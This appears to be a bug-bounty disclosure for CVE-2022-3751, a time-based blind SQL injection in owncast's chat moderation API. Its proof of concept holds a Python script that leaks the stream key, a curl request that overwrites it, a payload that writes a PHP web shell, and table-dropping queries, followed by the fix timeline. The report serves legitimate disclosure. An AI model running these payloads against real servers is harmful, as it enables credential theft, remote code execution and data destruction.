Moderators can perform Time based SQL injection attack. in owncast/owncast

0

Valid Reported on Oct 13th 2022

The API endpoint /api/chat/users/setenabled (POST) is vulnerable to a Time based blind SQL injection attack via body parameter '**userId**'. It allows a **Moderator** to read, modify or delete the entries in the sqlite database. Moderator can leak the stream_key to access admin dashboard.

Proof of concept

Scenario 1 - Exfiltrate stream_key

Access token of a moderator can be used here.

```
# tested on Python 3.6.9
# Ajmal Moochingal
# https://moochi.tech

import requests, json
from requests.exceptions import ReadTimeout

TIMEOUT = 4 # seconds
ACCESS_TOKEN =
HOST =

def calldb(query):
    ENDPOINT = "/api/chat/users/setenabled"
    url = HOST + ENDPOINT +"?accessToken=" + ACCESS_TOKEN
    headers = {
        "Connection" : "close",
        "Content-type" : "application/json",
    }
    body = {
        "userId" : "8CTMIMI4R'; "+query+"--",
        "enabled" : False
    }
    try:
        r = requests.post(url, data=json.dumps(body), headers=headers, timeout=TIMEOUT)
        return False    # failed hit
    except ReadTimeout: # successful hit
        return True


# warming up
test_query = "select value from datastore where key>0 AND 1=RANDOMBLOB(30000000/2)"

if calldb(test_query):
    print('sqli is working.')

charset = ['0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F']

leak = ''
pos = 9 # first 8 characters is blob metadata
_pos = pos-1
while True:
    if _pos == pos:
        break
    print("trying to leak character at position : ", pos - 8)
    _pos += 1
    for char in charset:
        delay_query = "select case substr((select hex(value) from datastore where key = 'stream_key'),{pos},1) whe
        if calldb(delay_query):
            leak += char
            print('leak: ', leak)
            pos += 1
            break

print("stream_key is :",  bytes.fromhex(leak).decode('ascii'))
```

It might be required to run the code multiple times for perfect result, while tweaking the TIMEOUT.

Scenario 2 - Modifying stream_key

Before running the following curl command :

Change the *hostname* to the correct host value, point to the right port.
Change value of *accessToken* to the token value that corresponds to the current moderator user. (can be obtained from browser session storage)

```
curl -i -s -k -X $'POST' \
-H $'Host: localhost:8080'  \
-H $'Content-Length: 122'  \
-H $'Content-Type: application/json'  \
-H $'Accept: */*'  \
-H $'Accept-Encoding: gzip, deflate'  \
-H $'Accept-Language: en-US,en;q=0.9'  \
-H $'Connection: close' \
--data-binary $'{\"userId\":\"8CTMIMI4R\'; UPDATE datastore set value = x\'0A0C00077065616E757473\' WHERE key = \'
$'http://localhost:8080/api/chat/users/setenabled?accessToken=0gs8sH3xjVXFlenDAG8nSRshsEdoKZNAKaJQ8Yrter0%3D'
```

The above command demonstrates a *Moderator* performing the attack to change *stream_key* to '*peanuts*', since `stream_key` is cached in memory, it will require the application to restart to reflect the new credentials.
Alternate way to verify : Run the following query in the sqlite database store to print `stream_key` .

```
select hex(value) from datastore WHERE key = 'stream_key';
```

It should output the following value : `0A0C00077065616E757473` .

Scenario 3 - Remote Code Execution

The vulnerability could be exploited to write arbitrary files on the server using by crafting the following SQL query:

```
ATTACH DATABASE '/webroot/abcd.php' AS X; CREATE TABLE X.pwn (pwndata text); INSERT INTO X.pwn (pwndata) VALUES ("
```

In an environment where PHP is installed, this will allow an attacker to perform Remote code execution by sending command via `http://host.com/abcd.php?cmd=`

Scenario 4 - Denial of Service

Moderator can craft the following SQL query to perform a Denial-of-Service attack. Caution: running the following query would wipe out respective tables in the database.

```
DROP table users; DROP table user_access_tokens; DROP table ip_bans; DROP table datastore;
```

Impact

Moderator could read, modify or delete all entries in the sqlite database using the vulnerability, this include stream_key, config and session tokens of other users.
Moderator could write arbitrary files in web root to escalate to perform Remote code execution.
With already 490+ forks on the repo now, it's likely that other forks are also impacted.
Likelihood: High. Any user with moderator privileges on the platform can perform the attack.

Occurrences

persistence.go L312

CVE
CVE-2022-3751
(Assigned)

Vulnerability Type
CWE-89: SQL Injection

Severity
High (8.8)

Registry
Golang

Affected Version
v0.0.12

Visibility
Private

Status
Fixed

Disclosure Bounty
$0 (confidential)

Fix Bounty
$0 (confidential)

Found by

M. Ajmal Moochingal
@cooliscool
unranked

Fixed by

M. Ajmal Moochingal
@cooliscool
unranked

Submit Fix

Fork Repository | Submit Fix

We are processing your report and will contact the **owncast** team within 24 hours. 17 days ago

M. Ajmal Moochingal modified the report 17 days ago

M. Ajmal Moochingal modified the report 17 days ago

M. Ajmal Moochingal modified the report 17 days ago

M. Ajmal Moochingal modified the report 17 days ago

M. Ajmal Moochingal modified the report 17 days ago

We have contacted a member of the **owncast** team and are waiting to hear back 16 days ago

M. Ajmal Moochingal submitted a **patch** 14 days ago

We have sent a follow up to the **owncast** team. We will try again in 7 days. 13 days ago

We have sent a second follow up to the **owncast** team. We will try again in 10 days. 6 days ago

A **owncast/owncast** maintainer has acknowledged this report 5 days ago

M. Ajmal Moochingal commented 3 days ago — Researcher

Got in touch with the @maintainer. After discussing with the maintainer, submitted this PR for fix : https://github.com/owncast/owncast/pull/2257
@maintainer, could you please verify the security report, before merging the fix ?

Gabe Kangas validated this vulnerability 13 hours ago

M. Ajmal Moochingal has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

M. Ajmal Moochingal submitted a **patch** 10 hours ago

M. Ajmal Moochingal commented 10 hours ago — Researcher

Thanks @gabek. Can you mark that you've accepted the patch, and the fix is done. 'Status' still shows 'Awaiting Fix'

M. Ajmal Moochingal commented 10 hours ago — Researcher

The PR that got merged, for reference - https://github.com/owncast/owncast/pull/2257

Gabe Kangas confirmed that a fix has been merged on **23b6e5** 6 hours ago

M. Ajmal Moochingal has been awarded the fix bounty ✔

persistence.go#L312 has been validated ✔

Write Preview

Write a comment (supports markdown). Use @admin for support

Comment